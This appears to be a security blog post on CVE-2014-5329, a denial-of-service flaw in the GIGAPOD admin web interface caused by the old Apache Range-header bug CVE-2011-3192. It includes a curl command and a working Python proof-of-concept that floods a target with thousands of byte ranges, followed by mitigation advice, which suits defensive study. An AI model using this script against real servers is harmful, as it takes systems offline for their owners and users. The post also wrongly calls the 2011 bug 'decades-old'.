GIGAPOD file servers, used for sharing and storing data, are popular in business environments. Their design separates user access (web portals on ports 80 and 443) from admin operations (port 8001). But an overlooked detail in the 8001/tcp admin web interface can leave your server wide open to denial-of-service attacks. This flaw, tracked as CVE-2014-5329, is rooted in a decades-old Apache HTTP server vulnerability — specifically, CVE-2011-3192.

Let’s break down what’s going on, why it matters, and how attackers can exploit this to crash your GIGAPOD appliance or software deployments.

Many don’t realize GIGAPOD runs three distinct web interfaces

- 80/tcp: User web portal (HTTP)
- 443/tcp: User web portal (HTTPS)
- 8001/tcp: *Administrative web interface* (HTTP/S), which is supposed to be more secure

Here’s the problem:
The admin interface on 8001/tcp runs an outdated Apache HTTP server. This server has a critical bug in how it reads incoming HTTP requests, especially with certain types of HTTP headers. If an attacker knows this bug, they can send a special request and tie up the server’s resources until it becomes unusable.

The Vulnerability – CVE-2011-3192 Explained

This isn’t a new mistake, but rather a failure to update. Back in 2011, researchers found out that Apache’s handling of the Range header could be abused. The header looks like this:

Range: bytes=-,5-5,10-10,...

The bug is: Apache doesn’t manage this header well when attackers ask for thousands of ranges in a single request. The server’s memory/CPU usage goes through the roof, and legitimate users (including admins) can’t access anything.

Read more at Original CVE: CVE-2011-3192


## Exploiting GIGAPOD via 8001/tcp

So, how would an attacker exploit this on a GIGAPOD appliance?

### 1. Find an open 8001/tcp port

Many admins leave this port open on purpose for remote management. If it’s accessible from the internet or a wide company network, it’s fair game.

2. Craft the DoS request

The attacker sends a single HTTP GET request with a malicious Range header containing thousands of ranges.

### 3. Server Crashes/Freezes

Apache will try to handle the request, eat up CPU or memory, and potentially crash — knocking out the admin interface and, in worst cases, affecting the whole box.

Example Attack Code

With common tools like curl and Python code, you can craft a dangerous request.

Using Curl

curl -v http://TARGET:8001/ -H "Range: bytes=-5,-5,-5,...(repeat up to ~44000 times)..."

*(Replace TARGET with the server's IP or DNS name. The Range string should be very, very long — curl may need a file input for really large headers.)*

Here’s a simple Python proof-of-concept you can save as dos_gigapod.py

import socket

HOST = "TARGET_IP"
PORT = 8001

range_header = "bytes=-5"
for i in range(10000):
    range_header += ",-5"

req = f"GET / HTTP/1.1\r\nHost: {HOST}\r\nRange: {range_header}\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(req.encode())
print(s.recv(1024).decode())
s.close()

Official References

- Original vulnerability: CVE-2011-3192 (MITRE)
- Vendor advisory: SecPod Security Alert SA-2014-0006
- GIGAPOD Release Guide: GIGAPOD Security

Best practices

- Restrict access to port 8001/tcp to trusted internal IPs only (use firewalls, VPN, etc).

- Block Range headers at the server/application level via Apache config rules

# Add to your Apache config
RequestHeader unset Range

Reminder: GIGAPOD models ship as “appliance” or “software.” Depending on the model, OS-level updates may *not* be officially supported—always check with GIGAPOD support.

Final Thoughts

CVE-2014-5329 is a reminder that security is only as strong as your weakest link. Even admin interfaces, hidden behind uncommon ports, can be brought down by the same old bugs if you’re not updating regularly. If you run GIGAPOD appliances or software in your org, check your exposure — and patch up before someone crafts an attack you wish you’d stopped.

Stay safe, stay patched!

*This post is exclusive original content for information and educational purposes. Use responsibly.*

Timeline

Published on: 09/08/2023 03:15:00 UTC
Last modified on: 09/14/2023 16:12:00 UTC